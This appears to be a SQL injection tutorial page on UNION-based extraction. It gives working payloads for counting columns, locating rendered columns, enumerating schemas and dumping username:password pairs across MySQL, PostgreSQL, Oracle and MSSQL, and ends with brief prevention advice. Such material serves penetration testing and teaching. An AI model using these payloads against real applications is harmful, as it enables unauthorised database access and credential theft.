UNION-Based Injection
Appending a second SELECT to the original query so its rows are returned alongside the application's own results. The fastest extraction path when output is visible.
Overview
UNION combines the result sets of two SELECT statements. If you can inject into a query whose results are rendered, you can append your own SELECT and have the application display data it was never meant to show.
It is the technique to reach for first when output is visible, because it extracts many rows per request rather than one bit — a full table dump can take seconds instead of hours.
UNION imposes two requirements that shape the entire workflow:
- Both queries must return the same number of columns.
- Corresponding columns must have compatible types.
Most of the work is satisfying those two constraints.
Step 1 — Find the Column Count
Two methods. ORDER BY is usually cleaner because it produces a crisp error boundary.
ORDER BY ordinals. ORDER BY 1 sorts by the first column. Increment until the query errors: the database rejects an ordinal past the end of the select list. The last value that worked is the column count. Binary-search if there are many columns.
UNION SELECT NULL. Add NULLs until the error stops. NULL is used because it is assignable to any column type, which sidesteps the type-compatibility problem while you are still counting.
Counting columns
-- Method 1: ORDER BY — one error boundary, no type concerns
' ORDER BY 1-- - -> OK
' ORDER BY 2-- - -> OK
' ORDER BY 3-- - -> OK
' ORDER BY 4-- - -> ERROR: Unknown column '4' in 'order clause'
-- => the query has 3 columns
-- Method 2: UNION SELECT NULL — works when ORDER BY is filtered
' UNION SELECT NULL-- - -> ERROR (column count mismatch)
' UNION SELECT NULL,NULL-- - -> ERROR
' UNION SELECT NULL,NULL,NULL-- - -> OK
-- => 3 columns
-- Oracle requires a FROM clause on every SELECT:
' UNION SELECT NULL,NULL,NULL FROM dual-- -Step 2 — Find Which Columns Are Displayed
The query may select five columns while the page renders only two of them. Replace each NULL in turn with a distinctive marker and look for it in the response.
Use a string marker rather than an integer: a column typed as text will reject an integer in strict engines, and a string marker also confirms the column can carry the text you eventually want to extract.
Locating the rendered columns
' UNION SELECT 'aaa',NULL,NULL-- - -> 'aaa' not visible
' UNION SELECT NULL,'bbb',NULL-- - -> 'bbb' appears in the page <-- usable
' UNION SELECT NULL,NULL,'ccc'-- - -> 'ccc' appears in the page <-- usable
-- Columns 2 and 3 render. Extract into those.Step 3 — Extract
With a usable column identified, replace the marker with real data. Enumerate the schema first, then pull the rows you want.
One row per request is slow. Concatenate several columns into a single rendered column with a delimiter you can split on afterwards, and aggregate multiple rows into one value where the engine supports it.
Extraction by engine
-- Tables in the current database
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables
WHERE table_schema=DATABASE()-- -
-- Columns of a table
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns
WHERE table_name='users'-- -
-- Whole table in ONE request — GROUP_CONCAT is the big win here
' UNION SELECT NULL,GROUP_CONCAT(username,':',password SEPARATOR '\n'),NULL
FROM users-- -
-- Note: group_concat_max_len defaults to 1024 bytes and silently truncates.Handling Type Mismatches
PostgreSQL and Oracle are strict: UNION fails if a text column lines up with an integer column. Symptoms are errors such as UNION types integer and text cannot be matched or ORA-01790: expression must have same datatype as corresponding expression.
The fix is to cast your value into the type the original query used, or to place your data only in columns already typed as text. When you cannot tell, NULL is compatible with everything — use NULL in the columns you do not need and cast explicitly in the one you do.
-- PostgreSQL: force text
' UNION SELECT NULL, password::text, NULL FROM users-- -
-- Oracle
' UNION SELECT NULL, TO_CHAR(password), NULL FROM users-- -
-- MSSQL
' UNION SELECT NULL, CAST(password AS varchar(4000)), NULL FROM users-- -
When UNION Is Not Available
UNION needs the result set to reach the page. It will not help when:
- the query is an
INSERT,UPDATE, orDELETE - results are consumed server-side and never rendered
- the endpoint returns only a status code or a boolean
- a WAF blocks the keyword and you cannot evade it — see WAF Bypass
In those cases fall back to Error-Based if errors surface, then Boolean-Blind, then Time-Blind as the universal but slowest option.
Prevention
Parameterise the query. A bound parameter cannot introduce a UNION because it is never parsed as SQL.
Defence in depth that limits the damage when something is missed: run the application's database account with SELECT restricted to the tables it actually needs. A UNION into information_schema returns nothing useful if the account cannot read the tables it names. See Defense in Depth.
Related
Where your input lands in the query determines which payloads can possibly work. Get the context wrong and every payload fails for the wrong reason.
Coercing the database into embedding your query result inside its own error message. Fast extraction when errors reach the client but results do not.
Extracting data one bit at a time by asking yes/no questions and reading the answer from how the page changes.
Web application firewalls match patterns; databases parse grammar. Every gap between those two is a bypass.
Fingerprinting, syntax, metadata access, file operations and command execution on the most commonly encountered engine.
Parameterisation removes the bug; these layers limit the blast radius when a parameterisation is missed. Least privilege, allowlists, monitoring, and what each is actually worth.